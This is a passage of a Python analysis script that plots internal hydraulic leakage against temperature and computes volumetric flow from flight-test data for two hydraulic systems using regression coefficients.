[ [0.0, 0.0]\n\t\t\t\t\t\t, [0.0, 0.0]\n\t\t\t\t\t\t]\n\tsegments13_8_24 = [ [100, 2500]\n\t\t\t\t\t\t, [2501, 2800]\n\t\t\t\t\t\t]\n\tsegments13_7_24 = [ [100, 2500]\n\t\t\t\t\t\t, [2501, 2800]\n\t\t\t\t\t\t]\n\tsegments13_3_13 = [ [100, 2000]\n\t\t\t\t\t\t, [2260, 2300]\n\t\t\t\t\t\t]\n\tsegments13_002_3_13 = [ [100, 1500]\n\t\t\t\t\t\t, [1501, 3100]\n\t\t\t\t\t\t]\n\texecutionFlags_VolflowVSTemp_actuators = {\t'6-Step-1.6':segments13_6_16,'4-SN002-1.6':segments13_4_16,'8-SN002-2.4':segments13_8_24,'7-Step-2.4':segments13_7_24, '3-Step-1.3': segments13_3_13, '3-SN002-1.3':segments13_002_3_13,\n\t\t\t\t\t\t\t\t\t\t\t\t'segmentsFlag' : True, 'singleTempInterpolFlag' : False, \n\t\t\t\t\t\t\t\t\t\t\t\t'colorsIDflags' : {'SN0012' : 0, 'SN002' : 1}}\n\n\t# Create segment for data\n\t# Figure initialization\n\tfigure, axs = plt.subplots(2, 1, sharex='col', sharey='col')\n\tfigure.set_size_inches(16, 10, forward=True)\n\tfigure.suptitle('Internal leakage versus temperature', **plotSettings['figure_title'])\n\tfor stepStr in stepStrs:\n\t\t\n\t\tsegmentsAdded_Temp1, segmentsAdded_Temp2, segmentsAdded_VolFlow1, segmentsAdded_VolFlow2, times = [], [], [], [], []\n\t\tfor seg in executionFlags_VolflowVSTemp_actuators[stepStr]:\n\t\t\tnewTime = createSegmentsOf_rs_FromVariableClass(dataTemp1, seg, indexDictForSteps[stepStr])[1]\n\t\t\ttimes += newTime\n\n\t\t\tsegmentsAdded_Temp1 += createSegmentsOf_rs_FromVariableClass(dataTemp1, seg, indexDictForSteps[stepStr])[0]\n\t\t\tsegmentsAdded_Temp2 += createSegmentsOf_rs_FromVariableClass(dataTemp2, seg, indexDictForSteps[stepStr])[0]\n\t\t\tsegmentsAdded_VolFlow1 += createSegmentsOf_rs_FromVariableClass(dataVolFlow1, seg, indexDictForSteps[stepStr])[0]\n\t\t\tsegmentsAdded_VolFlow2 += createSegmentsOf_rs_FromVariableClass(dataVolFlow2, seg, indexDictForSteps[stepStr])[0]\n\n\t\taxs[0].plot( dataTemp1.get_rs_split()[indexDictForSteps[stepStr]], dataVolFlow1.get_rs_split()[indexDictForSteps[stepStr]], linestyle = linestyleDict[stepStr], marker = markerDict[stepStr], c = colorsDict[stepStr], label = labelsDict[stepStr], **plotSettings['line'])\n\t\taxs[1].plot( dataTemp2.get_rs_split()[indexDictForSteps[stepStr]], dataVolFlow2.get_rs_split()[indexDictForSteps[stepStr]], linestyle = linestyleDict[stepStr], marker = markerDict[stepStr], c = colorsDict[stepStr], label = labelsDict[stepStr], **plotSettings['line'])\n\n\ti = 0\n\tlimsDictP2 = {0 : 85.11, 1 : 87.64}\n\tannotateDictP2 = {0 : '$(T_1)_{\\mathrm{P2,max}}$', 1 : '$(T_2)_{\\mathrm{P2,max}}$'}\n\tfor ax in axs:\n\n\n\t\t# Plot limit lines internal leakage\n\t\txOldLim = ax.get_xlim()\n\t\tyOldLim = ax.get_ylim()\n\t\tax.plot( xOldLim, 2*[2.3], linestyle = '--', marker = '', c = 'r', scalex = False, scaley = False, **plotSettings['line'])\n\t\tax.annotate('$Q_{\\mathrm{pump,max}}/4$', [0.0, 2.3], xytext = [1, 8], fontsize=12, textcoords = 'offset pixels')\n\n\t\tax.plot(2*[limsDictP2[i]], ax.get_ylim(),linestyle = '--', marker = '', c = plotSettings['colors'][1], scaley = False, scalex = False, **plotSettings['line'])\n\t\tax.annotate(annotateDictP2[i], [limsDictP2[i], 0.0], xytext = [1, 8], fontsize=12, textcoords = 'offset pixels')\n\t\tax.set_xlim([0.0, xOldLim[1]])\n\t\tax.set_ylim([0.0, yOldLim[1]])\n\t\t\n\t\tax.set_ylabel(inputDataClass.get_variablesInfoDict()[dataVolFlow1.get_mag()+'__'+dataVolFlow1.get_description()]['y-label'], **plotSettings['axes_y'])\n\t\tax.set_title(titlesDict[i], **plotSettings['ax_title'])\n\t\tax.legend(**plotSettings['legend'])\n\t\tusualSettingsAX(ax, plotSettings)\n\t\t\n\t\ti+=1\n\taxs[-1].set_xlabel('Temp. [$^\\circ$C]', **plotSettings['axes_x'])\n\ndef internalLeakageVSTemp_segments(dataClasses, inputDataClass, plotSettings, CMDoptionsDict):\n\n\tdataTemp1 = [temp for temp in dataClasses if temp.get_description() == 'Temp1'][0]\n\tdataTemp2 = [temp for temp in dataClasses if temp.get_description() == 'Temp2'][0]\n\tdataVolFlow1 = [temp for temp in dataClasses if temp.get_description() == 'VolFlow1'][0]\n\tdataVolFlow2 = [temp for temp in dataClasses if temp.get_description() == 'VolFlow2'][0]\t\t\t\n\n\t#Steps to consider\n\tstepStrs = dataTemp1.get_stepID()\n\tindexDictForSteps = {}\n\tfor id_curr in stepStrs:\n\t\tindexDictForSteps[id_curr] = stepStrs.index(id_curr)\n\n\tlinestyleDict = {'3-SN002-1.3':'',\t'10-SN0012-1.3':'',\t'8-SN002-2.4':'', '13-SN0012-2.4' : ''}\n\tmarkerDict = {'3-SN002-1.3':'o',\t'10-SN0012-1.3':'o',\t'8-SN002-2.4':'x', '13-SN0012-2.4' : 'x'}\n\tcolorsDict = {'3-SN002-1.3':plotSettings['colors'][0],\t'10-SN0012-1.3':plotSettings['colors'][1],\t'8-SN002-2.4':plotSettings['colors'][0], '13-SN0012-2.4' : plotSettings['colors'][1]}\n\tlabelsDict = { '3-SN002-1.3':'SN002 - Step 1.3 / 3.1KN', '10-SN0012-1.3':'SN0012 - Step 1.3 / 3KN',\n\t\t\t\t\t'8-SN002-2.4':'SN002 - Step 2.4', '13-SN0012-2.4':'SN0012 - Step 2.4'}\n\ttitlesDict = {0 : 'System 1', 1: 'System 2'}\n\n\t# Segments from test step 1.3\n\texecutionFlags_VolflowVSTemp_actuators = {\t'segmentsFlag' : True, 'singleTempInterpolFlag' : False, \n\t\t\t\t\t\t\t\t\t\t\t\t'colorsIDflags' : {'SN0012' : 0, 'SN002' : 1}}\n\texecutionFlags_VolflowVSTemp_actuators['3-SN002-1.3'] = [ [100, 1000]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [1001, 3000]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]\n\n\texecutionFlags_VolflowVSTemp_actuators['10-SN0012-1.3'] = [ [10, 100]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [200, 650]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [775, 875]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]\n\texecutionFlags_VolflowVSTemp_actuators['8-SN002-2.4'] = [ [100, 1000]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [1001, 4400]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]\n\texecutionFlags_VolflowVSTemp_actuators['13-SN0012-2.4'] = [ [100, 1000]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [1001, 3000]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]\n\t# Create segment for data\n\t# Figure initialization\n\tfigure, axs = plt.subplots(2, 1, sharex='col', sharey='col')\n\tfigure.set_size_inches(16, 10, forward=True)\n\tfigure.suptitle('Internal leakage versus temperature', **plotSettings['figure_title'])\n\tfor stepStr in stepStrs:\n\t\t\n\t\tsegmentsAdded_Temp1, segmentsAdded_Temp2, segmentsAdded_VolFlow1, segmentsAdded_VolFlow2, times = [], [], [], [], []\n\t\tfor seg in executionFlags_VolflowVSTemp_actuators[stepStr]:\n\t\t\tnewTime = createSegmentsOf_rs_FromVariableClass(dataTemp1, seg, indexDictForSteps[stepStr])[1]\n\t\t\ttimes += newTime\n\n\t\t\tsegmentsAdded_Temp1 += createSegmentsOf_rs_FromVariableClass(dataTemp1, seg, indexDictForSteps[stepStr])[0]\n\t\t\tsegmentsAdded_Temp2 += createSegmentsOf_rs_FromVariableClass(dataTemp2, seg, indexDictForSteps[stepStr])[0]\n\t\t\tsegmentsAdded_VolFlow1 += createSegmentsOf_rs_FromVariableClass(dataVolFlow1, seg, indexDictForSteps[stepStr])[0]\n\t\t\tsegmentsAdded_VolFlow2 += createSegmentsOf_rs_FromVariableClass(dataVolFlow2, seg, indexDictForSteps[stepStr])[0]\n\n\t\taxs[0].plot( dataTemp1.get_rs_split()[indexDictForSteps[stepStr]], dataVolFlow1.get_rs_split()[indexDictForSteps[stepStr]], linestyle = linestyleDict[stepStr], marker = markerDict[stepStr], c = colorsDict[stepStr], label = labelsDict[stepStr], **plotSettings['line'])\n\t\taxs[1].plot( dataTemp2.get_rs_split()[indexDictForSteps[stepStr]], dataVolFlow2.get_rs_split()[indexDictForSteps[stepStr]], linestyle = linestyleDict[stepStr], marker = markerDict[stepStr], c = colorsDict[stepStr], label = labelsDict[stepStr], **plotSettings['line'])\n\n\ti = 0\n\tfor ax in axs:\n\t\t\n\t\tax.set_ylabel(inputDataClass.get_variablesInfoDict()[mag+'__'+dataVolFlow1.get_description()]['y-label'], **plotSettings['axes_y'])\n\t\tax.set_title(titlesDict[i], **plotSettings['ax_title'])\n\t\tax.legend(**plotSettings['legend'])\n\t\tusualSettingsAX(ax, plotSettings)\n\t\t\n\t\ti+=1\n\taxs[-1].set_xlabel('Temp. [$^\\circ$C]', **plotSettings['axes_x'])\n\ndef internalLeakageDueToPistonDemand_P2flights(dataClasses, inputDataClass, plotSettings, CMDoptionsDict):\n\t\n\tdictCalc = {'Q_COL' : ['CNT_DST_BST_COL', 150],\n\t\t\t\t'Q_LNG' : ['CNT_DST_BST_LNG', 77.75],\n\t\t\t\t'Q_LAT' : ['CNT_DST_BST_LAT', 77.75]}\n\n\texampleDataClass = [temp for temp in dataClasses if temp.get_description() == 'CNT_DST_BST_COL'][0]\n\tnewCalc = len(exampleDataClass.get_rs())* [0.0]\n\t\n\tfor key in dictCalc.keys():\n\t\tdataAdditional = dataFromGaugesSingleMagnitudeClass(key, 'rs', exampleDataClass.get_testFactor(), exampleDataClass.get_orderDeriv())\n\t\tdataAdditional.addDataManual3(dataClasses, dictCalc[key][0], dictCalc[key][1])\n\n\t\ttemp = [p+o for p,o in zip(dataAdditional.get_rs(), newCalc)]\n\t\tnewCalc = temp\n\n\t\tdataClasses += (dataAdditional, )\n\n\tdataAdditionalPed = dataFromGaugesSingleMagnitudeClass('Q_PED', 'rs', exampleDataClass.get_testFactor(), exampleDataClass.get_orderDeriv())\n\tdataAdditionalPed.addDataManual5(dataClasses)\n\tdataClasses += (dataAdditionalPed, )\n\n\tnewCalc = [o+p for o,p in zip(temp, dataAdditionalPed.get_rs())]\n\n\tdataAdditional = dataFromGaugesSingleMagnitudeClass('Total_Q', 'rs', exampleDataClass.get_testFactor(), exampleDataClass.get_orderDeriv())\n\tdataAdditional.addDataManual4(newCalc, exampleDataClass)\n\tdataClasses += (dataAdditional, )\n\n\tdataAdditional.plotResampled(plotSettings, CMDoptionsDict, dataAdditional.get_mag(), (True, dataClasses, [i for i in dictCalc.keys()]+['Q_PED','Total_Q']), inputDataClass)\n\ndef calculateFlowFlight(dataClasses, inputDataClass, plotSettings, CMDoptionsDict):\n\t# ################################\n\t# Sub-function to analyze the volumetric flight for \n\n\tdef getSegmentDataFn(dataClass_dst_di, dataClass_frc_rs, dataClass_temp, timeSegment):\n\t\t\n\t\tt1 = timeSegment[0]\n\t\tt2 = timeSegment[1]\n\n\t\tdataClassesDict = {'dst_di':dataClass_dst_di, 'frc_rs':dataClass_frc_rs, 'temp':dataClass_temp}\n\n\t\ttimeDict, dataDict = {}, {}\n\t\tfor var in dataClassesDict.keys():\n\t\t\ttime_temp = [t/dataClassesDict[var].get_freqData()[0] for t in dataClassesDict[var].get_timeRs()]\n\n\t\t\tfirst_index = time_temp.index([t for t in time_temp if abs(t1-t)<(0.6*(1/dataClassesDict[var].get_freqData()[0]))][0])\n\t\t\tsecond_index = time_temp.index([t for t in time_temp if abs(t2-t)<(0.6*(1/dataClassesDict[var].get_freqData()[0]))][0])\n\n\t\t\tif var == 'temp' and masterVar == 'dst':\n\t\t\t\ttimeDict[var] = time_temp[first_index - 20 : second_index+20]\n\t\t\t\tdataDict[var] = dataClassesDict[var].get_rs()[first_index - 20 : second_index+20]\n\t\t\telif var in ('dst_di', 'frc_rs') and masterVar == 'temp':\n\t\t\t\ttimeDict[var] = time_temp[first_index - 20 : second_index+20]\n\t\t\t\tdataDict[var] = dataClassesDict[var].get_rs()[first_index - 20 : second_index+20]\n\t\t\telse:\n\t\t\t\ttimeDict[var] = time_temp[first_index : second_index+1]\n\t\t\t\tdataDict[var] = dataClassesDict[var].get_rs()[first_index : second_index+1]\n\n\t\treturn timeDict, dataDict\n\n\t# Pre-calc, automatic\n\t#############################\n\n\t# Get degrees of freedom - OUT: dofs\n\tdofs = []\n\tfor var in CMDoptionsDict['variables']:\n\t\tfor dof in ('LNG', 'LAT', 'COL'):\n\t\t\tif dof in var and not dof in dofs:\n\t\t\t\tdofs+=[dof]\n\t# #####################################################\n\n\t# Constants\n\tcoefsListDict_force = {\n\t\t\t\t\t\t\t'1' : {'right': [-0.0173,0.2138,-0.9386,1.6783,-0.6698,0.1313], 'left': [0.042,0.3649,0.9596,0.5208,0.1089]}, #System 1\n\t\t\t\t\t\t\t'2' : {'right': [-0.0073,0.0847,-0.3734,0.8092,-0.4751,0.0733], 'left': [0.0211,0.1412,0.2137,-0.3442,0.055]} #System 2\n\t\t\t\t\t\t\t}\n\n\tcoefsListDict_temp_press = {\n\t\t\t\t\t\t\t\t'1' : [5.50915027507144e-06,-0.0008451503498918064,0.06232563400813227,-0.8553274292912779], #System 1 at 150bar, 3er orden\n\t\t\t\t\t\t\t\t'2' : [7.628554597814203e-06,-0.0012526105728704574,0.08630418531452934,-1.3223881902456438] #System 2 at 150bar, 3er orden\n\t\t\t\t\t\t\t\t}\n\n\tareas_dict = {\t'COL' : [(math.pi/4.0)*(np.power(20.0, 2) - np.power(15.0, 2)), math.pi*(np.power(20.0, 2) - np.power(13.5, 2))], \n\t\t\t\t\t'CYC' : [(math.pi/4.0)*(np.power(18.0, 2) - np.power(15.0, 2)), ]}\n\t\n\tcorrespondence_areas_dict = {'COL' : 'COL', 'LNG' : 'CYC', 'LAT' : 'CYC'}\n\tmarkerDict_dof = {'COL' : 'o', 'LNG' : 'o', 'LAT' : 'o'}\n\tcolorsDict_dof = {'COL' : 0, 'LNG' : 1, 'LAT' : 2}\n\n\tcolorsDict_var = {'q_TP' : 0, 'q_F' : 1, 'q_v' : 2, 'q_total' : 3} #Used to get the keys\n\tmarkerDict_var = {'q_TP' : 'o', 'q_F' : '^', 'q_v' : 'v', 'q_total' : 's'}\n\tlabelsDict_var = {'q_TP' : '$q_{T,P}$', 'q_F' : '$q_F$', 'q_v' : '$q_v$', 'q_total' : '$q_{total}$'}\n\t\n\tsysIDsDict = {'1' : 0 , '2' : 1}\n\n\ttempRange = [60, 70, 80, 90, 100, 110]\n\n\ttempRangeFlag = True\n\n\t# Get data \n\tdata_dst_di_Dict, data_frc_rs_Dict, data_tempDict = {}, {}, {}\n\tfor dof in dofs:\n\t\tdata_dst_di_Dict[dof] = [temp for temp in dataClasses if temp.get_description() == 'CNT_DST_BST_'+dof and temp.get_mag() == 'di'][0]\n\t\tdata_frc_rs_Dict[dof] = [temp for temp in dataClasses if temp.get_description() == 'CNT_FRC_BST_'+dof and temp.get_mag() == 'rs'][0]\n\n\tfor sysID in sysIDsDict.keys():\n\t\tdata_tempDict[sysID] = [temp for temp in dataClasses if temp.get_description() == 'HYD_ARI_MFD_TMP_'+sysID][0]\n\n\n\tmasterVar = 'dst' #'temp', 'dst'\n\n\trangeForHighFreqSignal_original = 20\n\n\tsegmentsOfTime2 = [\n\t\t\t\t\t [3140, 3160],\n\t\t\t\t\t [4430, 4470]\n\t\t\t\t\t ]\n\n\tsegmentsOfTime3 = [\n\t\t\t\t\t [2500, 3500],\n\t\t\t\t\t [4300, 4500]\n\t\t\t\t\t ]\n\tsegmentsOfTime = [\n\t\t\t\t\t [500, 3600],\n\t\t\t\t\t [3600, 6300]\n\t\t\t\t\t ]#long\n\tsegmentsOfTime_long = [\n\t\t\t\t\t [2700, 3000],\n\t\t\t\t\t [4300, 4700],\n\t\t\t\t\t [5700, 5900]\n\t\t\t\t\t ] #fit\n\tstatusMax = 105 #%\n\n\t# Initialize figures\n\tfigureDict, axsDict = {}, {}\n\tfor dof in dofs:\n\t\tif tempRangeFlag:\n\t\t\tfigure, axs = plt.subplots(5, 2, sharex='all')\n\t\telse:\n\t\t\tfigure, axs = plt.subplots(4, 2, sharex='all')\n\t\tfigure.set_size_inches(16, 10, forward=True)\n\t\tfigureDict[dof] = figure\n\t\taxsDict[dof] = axs\n\n\tresultsPerSegment = []\n\tfor timeSegment in segmentsOfTime:\n\n\t\tt1 = timeSegment[0]\n\t\tt2 = timeSegment[1]\n\t\tprint('\\n\\n--> Computing segment: t1 = '+str(t1)+' s, t2 = '+str(t2)+' s')\n\n\t\tq_TP_dofsDict, q_F_dofsDict, q_v_dofsDict, q_total_dofsDict, time_dofsDict, q_total_tempRange_dofsDict = {}, {}, {}, {}, {}, {}\n\t\tfor dof in dofs:\n\n\t\t\tprint('---> Computing volume flow for flight test data for '+dof)\n\n\t\t\tq_TP_sysList, q_F_sysList, q_v_sysList, q_total_sysList, time_sysList, q_total_tempRange_sysList = [[], []], [[], []], [[], []], [[], []], [[], []], [[], []]\n\t\t\tfor sysID in sysIDsDict.keys():\n\n\t\t\t\tprint('----> System '+sysID)\n\n\t\t\t\t# Create data for system, dof and segment:\n\t\t\t\t# -> temp, data and time\n\t\t\t\t# -> dst_di, data and time\n\t\t\t\t# -> frc_rs, data and time\n\t\t\t\t# Temp depends on the system!\n\n\t\t\t\ttimeDict, dataDict = getSegmentDataFn(data_dst_di_Dict[dof], data_frc_rs_Dict[dof], data_tempDict[sysID], timeSegment)\n\t\t\t\t\n\t\t\t\tif masterVar == 'dst':\n\t\t\t\t\tdata_points_master = dataDict['dst_di'] #data_dst_di_Dict[dof].get_rs()\n\t\t\t\t\ttime_vector_master = timeDict['dst_di'] #[t/data_dst_di_Dict[dof].get_freqData()[0] for t in data_dst_di_Dict[dof].get_timeRs()]\n\t\t\t\t\ttime_vector_slave = timeDict['temp'] #[t/data_temp.get_freqData()[0] for t in data_temp.get_timeRs()]\n\t\t\t\telif masterVar == 'temp':\n\t\t\t\t\tdata_points_master = dataDict['temp']\n\t\t\t\t\ttime_vector_master = timeDict['temp']\n\t\t\t\t\ttime_vector_slave = timeDict['dst_di']\n\n\t\t\t\tassert len(data_points_master) == len(time_vector_master), 'ERROR for dimension master vectors'\n\n\t\t\t\ti = 0\n\t\t\t\tq_TP_vect, q_F_vect, q_v_vect, q_total_vect, q_total_vect_tempRange = [], [], [], [], []\n\t\t\t\tfor p in data_points_master:\n\n\t\t\t\t\trangeForHighFreqSignal = rangeForHighFreqSignal_original\n\t\t\t\t\tcurrentTime = time_vector_master[i] # Current time\n\t\t\t\t\tif masterVar == 'dst':\n\t\t\t\t\t\tindex_slave = time_vector_slave.index([t for t in time_vector_slave if abs(currentTime-t)<(0.6*(1/data_tempDict[sysID].get_freqData()[0]))][0])\n\t\t\t\t\telif masterVar == 'temp':\n\t\t\t\t\t\tindex_slave = time_vector_slave.index([t for t in time_vector_slave if abs(currentTime-t)<(0.6*(1/data_dst_di_Dict[dof].get_freqData()[0]))][0])\n\t\t\t\t\t\trangeForHighFreqSignal = min(index_slave, rangeForHighFreqSignal)\n\t\t\t\t\t\trangeForHighFreqSignal = min(len(time_vector_slave) - index_slave - 2, rangeForHighFreqSignal)\n\t\t\t\t\t# ##############################################\n\t\t\t\t\t# Effect piston demand - NEED TO INCORPORATE DIFFERENT CHAMBERS SIZE\n\t\t\t\t\tfactorConversion = 60.0/1E6 #mm^3/s to L/min\n\t\t\t\t\tif masterVar == 'dst':\n\t\t\t\t\t\tvel = abs(dataDict['dst_di'][i]) #abs(data_dst_di_Dict[dof].get_rs()[i])\n\t\t\t\t\telif masterVar == 'temp':\n\t\t\t\t\t\tif index_slave != 0:\n\t\t\t\t\t\t\tvel = abs(np.mean(dataDict['dst_di'][index_slave-rangeForHighFreqSignal:index_slave+rangeForHighFreqSignal]))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tvel = abs(np.mean(dataDict['dst_di'][0]))\n\n\t\t\t\t\tq_v = vel * areas_dict[correspondence_areas_dict[dof]][0] * factorConversion\n\t\t\t\t\t# ##############################################\n\t\t\t\t\t# Effect temperature\n\t\t\t\t\tregre_TP = np.poly1d(coefsListDict_temp_press[sysID])\n\t\t\t\t\t\n\t\t\t\t\t# Find index in temp vector for current time\n\t\t\t\t\tif masterVar == 'dst':\n\t\t\t\t\t\tq_TP = regre_TP(dataDict['temp'][index_slave])\n\t\t\t\t\telif masterVar == 'temp':\n\t\t\t\t\t\tq_TP = regre_TP(dataDict['temp'][i])\n\n\t\t\t\t\tif tempRangeFlag:\n\t\t\t\t\t\tq_TP_range = []\n\t\t\t\t\t\tfor t in tempRange:\n\t\t\t\t\t\t\tq_TP_range += [regre_TP(t)]\n\n\t\t\t\t\t# ##############################################\n\t\t\t\t\t# Effect force\n\t\t\t\t\tif masterVar == 'dst':\n\t\t\t\t\t\tforce = dataDict['frc_rs'][i]\n\t\t\t\t\telif masterVar == 'temp':\n\t\t\t\t\t\tif index_slave != 0:\n\t\t\t\t\t\t\tforce = np.mean(dataDict['frc_rs'][index_slave-rangeForHighFreqSignal:index_slave+rangeForHighFreqSignal])\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tforce = np.mean(dataDict['frc_rs'][0])\n\t\t\t\t\tif force > 0:\n\t\t\t\t\t\tside = 'right'\n\t\t\t\t\telse:\n\t\t\t\t\t\tside = 'left'\n\t\t\t\t\tregre_F = np.poly1d(coefsListDict_force[sysID][side])\n\t\t\t\t\tq_F = regre_F(force / 1000.0) if regre_F(force / 1000.0) > 0.0 else 0.0 #Correction necessary when the force is low, the regression fails\n\n\t\t\t\t\t# pdb.set_trace()\n\n\t\t\t\t\t# ##############################################\n\t\t\t\t\t# Final output\n\t\t\t\t\tq_TP_vect += [q_TP]\n\t\t\t\t\tq_F_vect += [q_F]\n\t\t\t\t\tq_v_vect += [q_v]\n\t\t\t\t\tq_total_vect += [q_TP + q_F + q_v]\n\n\t\t\t\t\t# Temperature ranges\n\t\t\t\t\tif tempRangeFlag:\n\t\t\t\t\t\tq_total_tempRange = []\n\t\t\t\t\t\tfor q_TP_current in q_TP_range:\n\t\t\t\t\t\t\tq_total_tempRange += [q_TP_current + q_F + q_v]\n\n\t\t\t\t\t\tq_total_vect_tempRange += [q_total_tempRange]\n\n\t\t\t\t\ti+=1\n\n\t\t\t\t\t# Print processing status\n\t\t\t\t\tstatus = round(((currentTime - time_vector_master[0])/(time_vector_master[-1] - time_vector_master[0]))*100, 2)\n\t\t\t\t\tsys.stdout.write('-----> Status: '+ str(status) +'% of current segment completed \\r')\n\t\t\t\t\tsys.stdout.flush()\n\n\t\t\t\t\tif status > statusMax:\n\t\t\t\t\t\tq_TP_vect += [0.0] * (len(data_points_master) - i)\n\t\t\t\t\t\tq_F_vect += [0.0] * (len(data_points_master) - i)\n\t\t\t\t\t\tq_v_vect += [0.0] * (len(data_points_master) - i)\n\t\t\t\t\t\tq_total_vect += [0.0] * (len(data_points_master) - i)\n\t\t\t\t\t\tif tempRangeFlag:\n\t\t\t\t\t\t\tq_total_vect_tempRange += [0.0] * (len(data_points_master) - i)\n\t\t\t\t\t\tbreak\n\n\t\t\t\t# One system imported\n\t\t\t\tq_TP_sysList[sysIDsDict[sysID]] = q_TP_vect\n\t\t\t\tq_F_sysList[sysIDsDict[sysID]] = q_F_vect\n\t\t\t\tq_v_sysList[sysIDsDict[sysID]] = q_v_vect\n\t\t\t\tq_total_sysList[sysIDsDict[sysID]] = q_total_vect\n\t\t\t\ttime_sysList[sysIDsDict[sysID]] = time_vector_master\n\n\t\t\t\tif tempRangeFlag:\n\t\t\t\t\tq_total_tempRange_sysList[sysIDsDict[sysID]] = q_total_vect_tempRange\n\n\t\t\t# One dof imported\n\t\t\tq_TP_dofsDict[dof] = q_TP_sysList\n\t\t\tq_F_dofsDict[dof] = q_F_sysList\n\t\t\tq_v_dofsDict[dof] = q_v_sysList\n\t\t\tq_total_dofsDict[dof] = q_total_sysList\n\t\t\ttime_dofsDict[dof] = time_sysList\n\t\t\tif tempRangeFlag:\n\t\t\t\tq_total_tempRange_dofsDict[dof] = q_total_tempRange_sysList\n\n\t\t# One segment imported\n\t\ttemporal_segmentDict = {}\n\t\ttemporal_segmentDict['q_TP'] = q_TP_dofsDict\n\t\ttemporal_segmentDict['q_F'] = q_F_dofsDict\n\t\ttemporal_segmentDict['q_v'] = q_v_dofsDict\n\t\ttemporal_segmentDict['q_total'] = q_total_dofsDict\n\t\ttemporal_segmentDict['time'] = time_dofsDict\n\t\tif tempRangeFlag:\n\t\t\ttemporal_segmentDict['q_total_tempRange'] = q_total_tempRange_dofsDict\n\t\tresultsPerSegment += [temporal_segmentDict]\n\n\t# Results\n\tprint('\\n* Plotting results per system and dof')\n\tfor dof in dofs:\n\t\tfor sysID in sysIDsDict.keys():\n\n\t\t\t# Temp\n\t\t\taxsDict[dof][0, sysIDsDict[sysID]].plot( [t/data_tempDict[sysID].get_freqData()[0] for t in data_tempDict[sysID].get_timeRs()], data_tempDict[sysID].get_rs(), linestyle = '-', marker = '', c = plotSettings['colors'][0], label = 'Temp', **plotSettings['line'])\n\t\t\taxsDict[dof][0, sysIDsDict[sysID]].set_ylabel(inputDataClass.get_variablesInfoDict()[data_tempDict[sysID].get_mag()+'__'+data_tempDict[sysID].get_description()]['y-label'], **plotSettings['axes_y'])\n\t\t\tusualSettingsAXNoDoubleAxis(axsDict[dof][0, sysIDsDict[sysID]], plotSettings)\n\t\t\t\n\t\t\t# Force\n\t\t\taxsDict[dof][1, sysIDsDict[sysID]].plot( [t/data_frc_rs_Dict[dof].get_freqData()[0] for t in data_frc_rs_Dict[dof].get_timeRs()], data_frc_rs_Dict[dof].get_rs(), linestyle = '-', marker = '', c = plotSettings['colors'][0], label = 'Force', **plotSettings['line'])\n\t\t\taxsDict[dof][1, sysIDsDict[sysID]].set_ylabel(inputDataClass.get_variablesInfoDict()[data_frc_rs_Dict[dof].get_mag()+'__'+data_frc_rs_Dict[dof].get_description()]['y-label'], **plotSettings['axes_y'])\n\t\t\tusualSettingsAXNoDoubleAxis(axsDict[dof][1, sysIDsDict[sysID]], plotSettings)\n\n\t\t\t# Velocity\n\t\t\taxsDict[dof][2, sysIDsDict[sysID]].plot( [t/data_dst_di_Dict[dof].get_freqData()[0] for t in data_dst_di_Dict[dof].get_timeRs()], data_dst_di_Dict[dof].get_rs(), linestyle = '-', marker = '', c = plotSettings['colors'][0], label = 'Velocity', **plotSettings['line'])\n\t\t\taxsDict[dof][2, sysIDsDict[sysID]].set_ylabel(inputDataClass.get_variablesInfoDict()[data_dst_di_Dict[dof].get_mag()+'__'+data_dst_di_Dict[dof].get_description()]['y-label'], **plotSettings['axes_y'])\n\t\t\tusualSettingsAXNoDoubleAxis(axsDict[dof][2, sysIDsDict[sysID]], plotSettings)\n\n\t\t\t# Volumetric flow calculated\n\t\t\thandlesList = []\n\t\t\tfor var in colorsDict_var.keys():\n\t\t\t\t# Results per segment\n\t\t\t\t# resultsPerSegment[var][dof][sysIDsDict[sysID]]\n\t\t\t\thandlesList += [plt.Line2D([],[], color=plotSettings['colors'][colorsDict_var[var]], marker=markerDict_var[var], linestyle='', label=labelsDict_var[var])]\n\t\t\t\tfor segment_index in range(len(segmentsOfTime)):\n\t\t\t\t\taxsDict[dof][3, sysIDsDict[sysID]].plot( resultsPerSegment[segment_index]['time'][dof][sysIDsDict[sysID]], resultsPerSegment[segment_index][var][dof][sysIDsDict[sysID]], linestyle = '', marker = markerDict_var[var], c = plotSettings['colors'][colorsDict_var[var]], label = labelsDict_var[var], **plotSettings['line'])\n\t\t\t\n\t\t\taxsDict[dof][3, sysIDsDict[sysID]].set_ylabel('Vol. flow [L/min]', **plotSettings['axes_y'])\n\t\t\taxsDict[dof][3, sysIDsDict[sysID]].legend(handles = handlesList, **plotSettings['legend'])\n\t\t\tusualSettingsAXNoDoubleAxis(axsDict[dof][3, sysIDsDict[sysID]], plotSettings)\n\n\t\t\t# Volumetric flow for temp ranges\n\t\t\tif tempRangeFlag:\n\t\t\t\thandlesList = []\n\t\t\t\tfor temp_index in range(len(tempRange)):\n\t\t\t\t\t# Results per segment\n\t\t\t\t\t# resultsPerSegment[var][dof][sysIDsDict[sysID]]\n\t\t\t\t\thandlesList += [plt.Line2D([],[], color=plotSettings['colors'][temp_index], marker='o', linestyle='', label=str(tempRange[temp_index])+'$^\\circ$C')]\n\t\t\t\t\tfor segment_index in range(len(segmentsOfTime)):\n\t\t\t\t\t\ty_to_plot = [resultsPerSegment[segment_index]['q_total_tempRange'][dof][sysIDsDict[sysID]][i][temp_index] for i in range(len(resultsPerSegment[segment_index]['time'][dof][sysIDsDict[sysID]]))]\n\t\t\t\t\t\taxsDict[dof][4, sysIDsDict[sysID]].plot( resultsPerSegment[segment_index]['time'][dof][sysIDsDict[sysID]], y_to_plot, linestyle = '', marker = 'o', c = plotSettings['colors'][temp_index], label = '$q_{total}$/'+str(tempRange[temp_index])+'$^\\circ$C', **plotSettings['line'])\n\t\t\t\t\n\t\t\t\taxsDict[dof][4, sysIDsDict[sysID]].set_ylabel('Vol. flow [L/min]', 